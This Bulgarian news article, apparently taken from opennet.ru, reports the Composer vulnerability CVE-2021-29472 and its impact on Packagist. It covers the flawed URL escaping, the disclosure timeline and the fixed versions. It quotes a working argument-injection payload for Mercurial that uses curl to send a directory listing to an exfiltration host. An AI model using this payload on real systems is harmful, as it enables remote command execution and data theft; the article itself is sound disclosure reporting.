Уязвимост Π² пакСтния ΠΌΠ΅Π½ΠΈΠ΄ΠΆΡŠΡ€ Composer, позволяваща ΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚ΠΈΡ€Π°Π½Π΅ Π½Π° PHP рСпозитория Packagist

Π’ ΠΌΠ΅Π½ΠΈΠ΄ΠΆΡŠΡ€Π° Π½Π° зависимости Composer Π΅ ΠΎΡ‚ΠΊΡ€ΠΈΡ‚Π° ΠΊΡ€ΠΈΡ‚ΠΈΡ‡Π½Π° уязвимост (CVE-2021-29472), която позволява ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»Π½ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π² систСмата ΠΏΡ€ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΏΠ°ΠΊΠ΅Ρ‚ с ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»Π½ΠΎ ΠΎΡ„ΠΎΡ€ΠΌΠ΅Π½Π° стойност Π½Π° URL, опрСдСляща адрСса Π·Π° изтСглянС Π½Π° изходния ΠΊΠΎΠ΄. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡŠΡ‚ сС проявява Π² ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΈΡ‚Π΅ GitDriver, SvnDriver ΠΈ HgDriver, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ΠΈ ΠΏΡ€ΠΈ систСмитС Π·Π° ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π½Π° ΠΈΠ·Ρ…ΠΎΠ΄Π΅Π½ ΠΊΠΎΠ΄ Git, Subversion ΠΈ Mercurial. Уязвимостта Π΅ отстранСна Π² вСрсиитС Π½Π° Composer 1.10.22 ΠΈ 2.0.13.

ОсобСно Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ сС ΠΎΠ±Ρ€ΡŠΡ‰Π° Π½Π° Ρ„Π°ΠΊΡ‚Π°, Ρ‡Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡŠΡ‚ Π΅ засСгнал Π½Π°ΠΉ-Π²Π΅Ρ‡Π΅ ΠΏΠΎ ΠΏΠΎΠ΄Ρ€Π°Π·Π±ΠΈΡ€Π°Π½Π΅ използвания Π² Composer Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΉ Π½Π° ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈ Packagist, ΠΊΠΎΠΉΡ‚ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π²Π° 306 хиляди ΠΏΠ°ΠΊΠ΅Ρ‚Π° Π·Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΡ†ΠΈ Π½Π° PHP ΠΈ обслуТва Π½Π°Π΄ 1.4 ΠΌΠΈΠ»ΠΈΠ°Ρ€Π΄Π° изтСгляния мСсСчно. Π’ СкспСримСнт Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, Ρ‡Π΅ Π°ΠΊΠΎ ΠΈΠΌΠ° информация Π·Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°, Π°Ρ‚Π°ΠΊΡƒΠ²Π°Ρ‰ΠΈΡ‚Π΅ Π±ΠΈΡ…Π° ΠΌΠΎΠ³Π»ΠΈ Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ» Π½Π°Π΄ инфраструктурата Π½Π° Packagist ΠΈ Π΄Π° ΠΏΡ€ΠΈΡ…Π²Π°Π½Π°Ρ‚ Π΄Π°Π½Π½ΠΈΡ‚Π΅ Π·Π° Π΄ΠΎΡΡ‚ΡŠΠΏ Π½Π° администраторитС ΠΈΠ»ΠΈ Π΄Π° прСнасочат изтСглянСто Π½Π° ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈ към външСн ΡΡŠΡ€Π²ΡŠΡ€, ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΈΡ€Π°ΠΉΠΊΠΈ доставката Π½Π° спСцифични ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈ със Π·Π»ΠΎΠ½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈ измСнСния, Π·Π° Π΄Π° ΠΈΠ½ΠΆΠ΅ΠΊΡ‚ΠΈΡ€Π°Ρ‚ Π±Π΅ΠΊΠ΄ΠΎΡ€ ΠΏΡ€ΠΈ инсталиранС Π½Π° зависимости.

ΠžΠΏΠ°ΡΠ½ΠΎΡΡ‚Ρ‚Π° Π·Π° ΠΊΡ€Π°ΠΉΠ½ΠΈΡ‚Π΅ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈ Π΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π°, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° composer.json ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΎ сС опрСдСля ΠΎΡ‚ самия ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π», Π° Π»ΠΈΠ½ΠΊΠΎΠ²Π΅Ρ‚Π΅ към изходния ΠΊΠΎΠ΄ сС ΠΏΡ€Π΅Π΄Π°Π²Π°Ρ‚ ΠΏΡ€ΠΈ ΠΎΠ±Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ към външни Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ, ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΎ заслуТаващи Π΄ΠΎΠ²Π΅Ρ€ΠΈΠ΅. ΠžΡΠ½ΠΎΠ²Π½ΠΈΡΡ‚ ΡƒΠ΄Π°Ρ€ Π΅ нанСсСн Π½Π° рСпозитория Packagist.org ΠΈ услугата Private Packagist, ΠΊΠΎΠΈΡ‚ΠΎ ΠΈΠ·Π²ΠΈΠΊΠ²Π°Ρ‚ Composer с ΠΏΡ€Π΅Π΄Π°Π²Π°Π½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈ, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈ ΠΎΡ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΈΡ‚Π΅Π»ΠΈΡ‚Π΅. Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½ΠΈΡ†ΠΈΡ‚Π΅ ΠΌΠΎΠΆΠ΅Ρ…Π° Π΄Π° ΠΈΠ·ΠΏΡŠΠ»Π½ΡΡ‚ своя ΠΊΠΎΠ΄ Π½Π° ΡΡŠΡ€Π²ΡŠΡ€ΠΈΡ‚Π΅ Π½Π° Packagist, ΠΊΠ°Ρ‚ΠΎ ΠΏΡƒΠ±Π»ΠΈΠΊΡƒΠ²Π°Ρ‚ спСциално ΠΎΡ„ΠΎΡ€ΠΌΠ΅Π½ ΠΏΠ°ΠΊΠ΅Ρ‚.

Π•ΠΊΠΈΠΏΡŠΡ‚ Π½Π° Packagist отстрани уязвимостта Π² Ρ€Π°ΠΌΠΊΠΈΡ‚Π΅ Π½Π° 12 часа слСд ΠΏΠΎΠ»ΡƒΡ‡Π°Π²Π°Π½Π΅ Π½Π° Π΄ΠΎΠΊΠ»Π°Π΄ Π·Π° уязвимостта. Π˜Π·ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈΡ‚Π΅ частно ΡƒΠ²Π΅Π΄ΠΎΠΌΠΈΡ…Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΡ†ΠΈΡ‚Π΅ Π½Π° Packagist Π½Π° 22 Π°ΠΏΡ€ΠΈΠ» ΠΈ ΡΡŠΡ‰ΠΈΡ Π΄Π΅Π½ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡŠΡ‚ бСшС ΠΏΠΎΠΏΡ€Π°Π²Π΅Π½. ΠŸΡƒΠ±Π»ΠΈΡ‡Π½ΠΎΡ‚ΠΎ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ Π½Π° Composer с отстраняванС Π½Π° уязвимостта бСшС ΠΏΡƒΠ±Π»ΠΈΠΊΡƒΠ²Π°Π½ΠΎ Π½Π° 27 Π°ΠΏΡ€ΠΈΠ», Π° Π΄Π΅Ρ‚Π°ΠΉΠ»ΠΈΡ‚Π΅ бяха Ρ€Π°Π·ΠΊΡ€ΠΈΡ‚ΠΈ Π½Π° 28 Π°ΠΏΡ€ΠΈΠ». ΠΡƒΠ΄ΠΈΡ‚ΡŠΡ‚ Π½Π° Π»ΠΎΠ³ΠΎΠ²Π΅Ρ‚Π΅ Π½Π° ΡΡŠΡ€Π²ΡŠΡ€ΠΈΡ‚Π΅ Π½Π° Packagist Π½Π΅ Π΅ установил ΡΠ²ΡŠΡ€Π·Π°Π½Π° с уязвимостта ΠΏΠΎΠ΄ΠΎΠ·Ρ€ΠΈΡ‚Π΅Π»Π½Π° активност.

ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ‚Π° Π΅ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅Π½Π° ΠΎΡ‚ Π³Ρ€Π΅ΡˆΠΊΠ° Π² ΠΊΠΎΠ΄Π° Π·Π° Π²Π°Π»ΠΈΠ΄ΠΈΡ€Π°Π½Π΅ Π½Π° URL Π² основния Ρ„Π°ΠΉΠ» composer.json ΠΈ Π²Ρ€ΡŠΠ·ΠΊΠΈΡ‚Π΅ Π·Π° изтСглянС Π½Π° изходния ΠΊΠΎΠ΄. Π“Ρ€Π΅ΡˆΠΊΠ°Ρ‚Π° Π΅ ΠΏΡ€ΠΈΡΡŠΡΡ‚Π²Π°Π»Π° Π² ΠΊΠΎΠ΄Π° ΠΎΡ‚ Π½ΠΎΠ΅ΠΌΠ²Ρ€ΠΈ 2011 Π³ΠΎΠ΄ΠΈΠ½Π°. Π’ Packagist Π·Π° ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΈΡ€Π°Π½Π΅ Π½Π° Π·Π°Ρ€Π΅ΠΆΠ΄Π°Π½Π΅ Π½Π° ΠΊΠΎΠ΄Π° Π±Π΅Π· ΠΏΡ€ΠΈΠ²ΡŠΡ€Π·Π°Π½ΠΎΡΡ‚ към ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Π° систСма Π·Π° ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π½Π° изходния ΠΊΠΎΠ΄ сС ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ спСциални прослойки, ΠΊΠΎΠΈΡ‚ΠΎ сС ΠΈΠ·ΠΏΡŠΠ»Π½ΡΠ²Π°Ρ‚ Ρ‡Ρ€Π΅Π· ΠΏΠΎΠ²ΠΈΠΊΠ²Π°Π½Π΅ Π½Π° β€žfromShellCommandlineβ€œ с ΠΏΡ€Π΅Π΄Π°Π²Π°Π½Π΅ Π½Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈ ΠΎΡ‚ командния Ρ€Π΅Π΄. НапримСр, Π·Π° git сС ΠΈΠ·Π²ΠΈΠΊΠ²Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° β€žgit ls-remote β€”heads $URLβ€œ, ΠΊΡŠΠ΄Π΅Ρ‚ΠΎ URL Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π΅Π½ Ρ‡Ρ€Π΅Π· ΠΌΠ΅Ρ‚ΠΎΠ΄Π° β€žProcessExecutor::escape($url)β€œ, ΠΊΠΎΠΉΡ‚ΠΎ Π΅ΠΊΡ€Π°Π½ΠΈΡ€Π° ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»Π½ΠΎ опасни конструкции ΠΊΠ°Ρ‚ΠΎ β€ž$(…)β€œ ΠΈΠ»ΠΈ β€ž`…`β€œ.

Π‘ΡŠΡ‰Π½ΠΎΡΡ‚Ρ‚Π° Π½Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π΅, Ρ‡Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ΡŠΡ‚ ProcessExecutor::escape Π½Π΅ Π΅ Π΅ΠΊΡ€Π°Π½ΠΈΡ€Π°Π» послСдоватСлността β€žβ€”β€œ, ΠΊΠΎΠ΅Ρ‚ΠΎ Π΅ позволявало Π΄Π° сС посочат всякакви Π΄ΠΎΠΏΡŠΠ»Π½ΠΈΡ‚Π΅Π»Π½ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΈ Π² URL. Подобно Π΅ΠΊΡ€Π°Π½ΠΈΡ€Π°Π½Π΅ Π΅ ΠΎΡ‚ΡΡŠΡΡ‚Π²Π°Π»ΠΎ Π² Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€ΠΈΡ‚Π΅ GitDriver.php, SvnDriver.php ΠΈ HgDriver.php. Атаката Ρ‡Ρ€Π΅Π· GitDriver.php Π΅ Π±ΠΈΠ»Π° Π²ΡŠΠ·ΠΏΡ€Π΅ΠΏΡΡ‚ΡΡ‚Π²Π°Π½Π° ΠΎΡ‚ Ρ„Π°ΠΊΡ‚Π°, Ρ‡Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° β€žgit ls-remoteβ€œ Π½Π΅ Π΅ ΠΏΠΎΠ΄Π΄ΡŠΡ€ΠΆΠ°Π»Π° ΡƒΠΊΠ°Π·Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° Π΄ΠΎΠΏΡŠΠ»Π½ΠΈΡ‚Π΅Π»Π½ΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈ слСд ΠΏΡŠΡ‚Ρ. Π’ΡŠΠ·ΠΌΠΎΠΆΠ½Π° Π΅ Π±ΠΈΠ»Π° Π°Ρ‚Π°ΠΊΠ° Π½Π° HgDriver.php Ρ‡Ρ€Π΅Π· ΠΏΡ€Π΅Π΄Π°Π²Π°Π½Π΅ Π½Π° ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚ΡŠΡ€Π° β€žβ€”configβ€œ Π½Π° ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Π°Ρ‚Π° β€žhqβ€œ, позволяваща ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΈΡ€Π°Π½Π΅Ρ‚ΠΎ Π½Π° ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° всяка ΠΊΠΎΠΌΠ°Π½Π΄Π° Ρ‡Ρ€Π΅Π· манипулация с настройката β€žalias.identifyβ€œ. НапримСр, Π·Π° изтСглянС ΠΈ изпълнСниС Π½Π° ΠΊΠΎΠ΄ Ρ‡Ρ€Π΅Π· стартиранС Π½Π° ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Π°Ρ‚Π° curl ΠΌΠΎΠΆΠ΅Π»ΠΎ Π΄Π° сС посочи: β€”config=alias.identify=!curl http://exfiltration-host.tld β€”data β€œ$(ls -alh)”

Π‘Π»Π΅Π΄ ΠΊΠ°Ρ‚ΠΎ Ρ€Π°Π·ΠΏΠΎΠ»ΠΎΠΆΠΈΡ…Π° Π² Packagist тСстов ΠΏΠ°ΠΊΠ΅Ρ‚ с ΠΏΠΎΠ΄ΠΎΠ±Π΅Π½ URL, изслСдоватСлитС сС ΡƒΠ²Π΅Ρ€ΠΈΡ…Π°, Ρ‡Π΅ слСд Ρ€Π°Π·ΠΏΠΎΠ»Π°Π³Π°Π½Π΅Ρ‚ΠΎ Π½Π° тСхния ΡΡŠΡ€Π²ΡŠΡ€ Π΅ ΠΏΠΎΡΡ‚ΡŠΠΏΠΈΠ» HTTP-заявка ΠΎΡ‚ Π΅Π΄ΠΈΠ½ ΠΎΡ‚ ΡΡŠΡ€Π²ΡŠΡ€ΠΈ Packagist Π² AWS, ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Ρ‰ листинг Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅Ρ‚Π΅ Π² Ρ‚Π΅ΠΊΡƒΡ‰Π°Ρ‚Π° дирСктория.

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru

ΠšΡƒΠΏΠ΅Ρ‚Π΅ Π½Π°Π΄Π΅ΠΆΠ΄Π΅Π½ хостинг Π·Π° сайтовС с Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ DDoS, VPS VDS ΡΡŠΡ€Π²ΡŠΡ€ΠΈ πŸ”₯ ΠšΡƒΠΏΠ΅Ρ‚Π΅ Π½Π°Π΄Π΅ΠΆΠ΄Π΅Π½ хостинг Π·Π° сайтовС с Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ DDoS, VPS VDS ΡΡŠΡ€Π²ΡŠΡ€ΠΈ | ProHoster